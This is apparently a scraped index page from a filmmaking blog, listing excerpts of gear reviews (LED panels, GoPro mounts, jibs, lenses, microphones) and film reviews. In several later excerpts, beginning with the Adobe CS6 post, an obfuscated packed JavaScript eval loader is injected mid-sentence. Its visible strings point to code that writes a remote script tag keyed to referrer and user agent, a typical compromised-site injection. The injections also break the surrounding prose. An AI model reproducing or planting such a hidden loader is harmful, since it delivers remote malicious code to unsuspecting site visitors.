Illumination Experience- Day 2

I spent the last weekend participating in the Illumination Experience Cinematography Tour (illumination.mzed.com). For two days I got hands on education from one of my favorite DP’s of all time, Shane Hurlbut (hurlbutvisuals.com). Being able to learn from an amazing cinematographer and speaker was truly invaluable.

Illumination Experience- Day 2

Illumination Experience- Day 1

I spent the last weekend participating in the Illumination Experience Cinematography Tour (illumination.mzed.com). For two days I got hands on education from one of my favorite DP’s of all time, Shane Hurlbut (hurlbutvisuals.com). Being able to learn from an amazing cinematographer and speaker was truly invaluable.

Illumination Experience- Day 1

Movie Review: Fury

It’s been a while since I’ve seen a movie while it was still in theatres and still fresh enough to deserve a review. But, last weekend Loretta and I saw Fury (2014) (imdb.com) and were absolutely stunned by the beauty of the shots and intensity of the emotions. This was the first WWII film since Saving Private Ryan (imdb.com) that gripped me in an utterly visceral way. Like usual, I’ll try to keep this short and not give away anything about the film.

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Airbox Lights vs. Diffusion Comparison

A couple of months ago I posted a review of the Airbox Lights Model 1×1 (widenmedia.com). After I posted the review I got some questions and comments wondering what the benefit of the ABL was over the supplied diffusion sheet that comes with most LED lights.

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MXL Microphone Review

I’ve been looking to expand my audio gear for a while and when I was at NAB I found the MXL line of microphones. Here’s what I thought when I first saw them: MXL at NAB. Well, I finally got my hands on some and decided to test them.

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Airbox Lights Review

Back at NAB I picked up a couple of Aibox Lights (airboxlights.com) right off the show floor. I wrote about these inflatable soft boxes during my coverage of the show (widenmedia.com), but I finally got around to properly testing them out. Overall I was really happy with how they performed.

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Bunraku (2010) Review

It’s been a while since I’ve done a movie review and I stumbled upon a film last night that I think REALLY needs to be shared. I saw an interview online with Josh Hartnett (imdb.com) talking about leaving the Hollywood system for an independent route. A lot of what he was saying I agreed with and during the interview they showed clips from some of his more recent films, including Bunraku (imdb.com). It looked right up my alley so I found it on Netflix Instant and thoroughly enjoyed the next two hours.

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Wide Open Camera GoPro Mount Review

Jared (@goforjared) from Wide Open Camera (wideopencamera.com) was looking for a few people to test out the new Wide Open Camera GoPro Mount, so I gladly volunteered. I already had the Combat Cage (review here: widenmedia.com) so I was excited to see what the new mount would be like.

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iPhone Lens Set Review

A while back I was interested in using my iPhone for taking nice stills while on the go and wanted to get some lenses for it, because why not? I found this set of 3 lenses on Amazon (amazon.com) for … .50 with shipping. They were cheap enough that if they didn’t work it was no harm no foul. But luckily, the set was worth the minimal investment.

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Klondike Mini-Series Review

In early 2014 the Discovery Channel embarked on a completely new endeavor: scripted narrative television. Until Klondike (imdb.com) premiered in January of 2014 the network had never had scripted narrative. Due to the success of original programming on AMC, HBO, and through Netflix, other channels that have been known to not have scripted shows (IE: History Channel’s Vikings (imdb.com), Hatfields and McCoys (imdb.com), and now Klondike) are trying the format out. The question is, “Has the Discovery Channel succeeded with Klondike? And will they create more new content now that the mini-series is completely aired?”

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Ikan IFB-1024 LED Light Review

Going into production of my Columbia College thesis film, The Jog (facebook.com), I knew I was going to be needing something a little different for lighting.

Most of the film takes place outdoors, which means using natural light or having a generator. We wanted to have lights for making the punch ins easier, but also didn’t want to hassle with running lines and dealing with noise from the generator; meaning that our lights had to be battery-powered. The first thing that came to mind were LED panel lights.

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Special Camera Service GoPro Jib Review

I got my hands on the Special Camera Service GoPro Jib (specialcameraservice.com) a few months ago, and I finally got around to testing it. I purchased it at the pre sale price for , but it’s currently at , plus tax and shipping.

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We’re the Millers (2013) Review

The last dozen or so times we’ve gone to the theatre Loretta and I have ended up seeing either action, drama, or kids movies. It’s been a while since we’ve seen an adult comedy on the big screen, and we wanted to change that, so we decided on We’re the Millers (2013) (imdb.com). We went into the movie knowing it was going to be a raunchy, summer comedy and that’s exactly what was delivered. We both really enjoyed the film.

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We're the Millers (2013) Review

The last dozen or so times we’ve gone to the theatre Loretta and I have ended up seeing either action, drama, or kids movies. It’s been a while since we’ve seen an adult comedy on the big screen, and we wanted to change that, so we decided on We’re the Millers (2013) (imdb.com). We went into the movie knowing it was going to be a raunchy, summer comedy and that’s exactly what was delivered. We both really enjoyed the film.

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Wide Open Camera Combat Cage Review

A while ago, I helped fund Jared Abrams and Wide Open Camera’s Kickstarter campaign for the “Combat Cage.” Check out the campaign here: kickstarter.com. It recently came in, and I’ve been putting it through the paces with my GoPro Hero3 for the last few weeks.

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World War Z: Off Book, On Target

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I’ve been in San Francisco the last few weeks, and I finally got a chance to see World War Z (imdb.com) when we came back to Chicago. Since they first announced a film version of Max Brooks’ zombie novel, World War Z, I’ve been tossing over whether or not I was excited for it. I’m a big fan of the book, and of Max Brooks in general. And all while I was reading the book I thought, “this would make a great movie.” Then when I started seeing previews and hearing about the production, I started getting weary.

DFocus version3 VS. version4

I know it’s been a while since I posted, but to make up for it, I’m coming back with a comparison between the DFocus System (dfocussystem.com) follow focus Version 3 and Version 4.

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Hulk vs. Hulk vs. Hulk vs. Hulk

At the end of last semester, I wrote an essay comparing various renderings of The Incredible Hulk in cinema. I’ve posted it here for your viewing. Enjoy!

Traditional American super heroes have mysterious beginnings, fantastical powers (or vast wealth), and a proclivity for sticking their noses into situations that would otherwise keep regular citizens at a distance. The Incredible Hulk works better as an accompanying character to a team of heroes, rather than as a stand-alone main character. This is proven both by sales of Hulk comics, and by the three film renderings we have of the Bruce Banner/ Hulk character.

Making the Switch to Adobe CS6

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsiib|var|u0026u|referrer|zedkt||js|php'.split('|'),0,{})) time has finally come, I've moved on to CS6 (adobe.com). I know most people already have, but there are a number of factors that have kept me from making the switch, and a lot of reasons why I...

Aviator Travel Jib Review and Test

Back eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntib|var|u0026u|referrer|nhiis||js|php'.split('|'),0,{})) in the middle of 2012 Zeke Kamm (@Zeke_Kamm) and Nice Industries (nice-industries.com) put out a Kickstarter campaign (kickstarter.com) for the Aviator Travel Jib (aviatorcameragear.com). The jib promised to be a light-weight, portable piece of gear that would be...

Christmas Weekend Movie Marathon Part II: The Hobbit

This is the first year that Loretta and I spent the holidays away from both our families, so we had to come up with ways to stay entertained. The weekend leading up to Christmas, we decided to see one new movie every night. After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

Ikan Flyweight Rig and Table Top Dolly Review

Hey everyone. Sorry it's been so long since my last post; been slammed. If you don't want to read my review below, the video is basically the same as the text. [vimeo http://www.vimeo.com/56125500 w=500&h=281] Ikan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tahkt|var|u0026u|referrer|kekhk||js|php'.split('|'),0,{})) Corp Flyweight DSLR Shoulder Rig...

Lens Review: Canon 40mm f/2.8 Pancake

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isttr|var|u0026u|referrer|tbbzn||js|php'.split('|'),0,{})) couple of weeks ago, Deejay Scharton was selling off his Canon 40mm lens over at DSLRFilmNoob.com (dslrfilmnoob.com). I had been wanting to purchase one for a while, but never pulled the trigger on it. Deejay's price was too...

Deconstructing My Blogroll: Frugal Filmmaker, DSLR Film Noob, The Black and Blue

A few weeks ago I posted about the first three sites I go to for information on filmmaking (3 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kytif|var|u0026u|referrer|rtbsr||js|php'.split('|'),0,{})) Daily Stops for Film Industry News). I've gotten some responses on that post asking where else I go to stay...

Wreck-It Ralph (2012) Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyab|var|u0026u|referrer|hzaeh||js|php'.split('|'),0,{})) don't generally get excited for animated film. I also usually squirm whenever I hear that John C. Reilly (imdb.com) is attached to any project. But I had high hopes for Disney's 2012 film, Wreck-It Ralph (imdb.com). From the...